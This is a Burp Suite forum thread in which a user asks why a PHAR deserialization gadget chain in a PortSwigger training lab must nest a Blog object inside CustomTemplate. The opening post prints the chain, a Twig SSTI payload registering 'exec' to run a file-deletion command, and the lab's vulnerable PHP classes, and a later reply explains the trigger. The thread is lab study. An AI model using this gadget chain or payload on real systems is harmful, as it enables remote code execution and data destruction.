Burp Suite User Forum

Login to post

Lab: Using PHAR deserialization to deploy a custom gadget chain

secf00tprint | Last updated: Sep 30, 2020 07:18PM UTC

I have a question about the Lab regarding a deserialization attack using Phar. The gadget chain used there looks like this: class CustomTemplate {} class Blog {} $object = new CustomTemplate; $blog = new blog; $blog->desc = '{{_self.env.registerUndefinedFilterCallback ("exec")}} {{_ self.env.getFilter ("rm /home/carlos/morale.txt")}}'; $blog->user = 'user'; $object->template_file_path = $blog; Why must $object->template_file_path = $blog be used here and not just the blog object. So, simply: class Blog {} $object = new Blog; $object->desc = '{{_self.env.registerUndefinedFilterCallback ("exec")}} {{_ self.env.getFilter ("rm /home/carlos/morale.txt")}}'; $object->user = 'user'; Which does not work. I have tested it. The PHP code on which it is based looks like this: Blog.php: <?php require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php'); class Blog { public $user; public $desc; private $twig; public function __construct($user, $desc) { $this->user = $user; $this->desc = $desc; } public function __toString() { return $this->twig->render('index', ['user' => $this->user]); } public function __wakeup() { $loader = new Twig_Loader_Array([ 'index' => $this->desc, ]); $this->twig = new Twig_Environment($loader); } public function __sleep() { return ["user", "desc"]; } } ?> CustomTemplate.php: <?php class CustomTemplate { private $template_file_path; public function __construct($template_file_path) { $this->template_file_path = $template_file_path; } private function isTemplateLocked() { return file_exists($this->lockFilePath()); } public function getTemplate() { return file_get_contents($this->template_file_path); } public function saveTemplate($template) { if (!isTemplateLocked()) { if (file_put_contents($this->lockFilePath(), "") === false) { throw new Exception("Could not write to " . $this->lockFilePath()); } if (file_put_contents($this->template_file_path, $template) === false) { throw new Exception("Could not write to " . $this->template_file_path); } } } function __destruct() { // Carlos thought this would be a good idea @unlink($this->lockFilePath()); } private function lockFilePath() { return 'templates/' . $this->template_file_path . '.lock'; } } ?>% So in my understanding the gadget chain ignites when a template is newly saved: private function isTemplateLocked () { return file_exists ($this->lockFilePath ()); } And at this point it should be possible to deserialize all accessible classes like the blog class and thus the SSTI payload should work? Do I have a mistake somewhere?

secf00tprint | Last updated: Oct 01, 2020 08:15AM UTC

Oh sorry, I forgot to paste the link to the Lab here: https://forum.portswigger.net/thread/lab-using-phar-deserialization-to-deploy-a-custom-gadget-chain-8153534f

secf00tprint | Last updated: Oct 01, 2020 08:16AM UTC

https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain

Uthman, PortSwigger Agent | Last updated: Oct 02, 2020 11:58AM UTC

Thanks for your query. Unfortunately, we are unable to provide personal support or tutoring to Academy users, as we prefer to improve the experience for our entire userbase by focusing on expanding and refining our public content. This post will stay up so anyone in the community is free to comment!

Dmitry | Last updated: Nov 15, 2020 07:16PM UTC

@secf00tprint, you need $this->twig->render() to be called in order to execute SSTI payload. But __toString() is now a magic method, so you need lockFilePath() to call it.

You need to Log in to post a reply. Or register here, for free.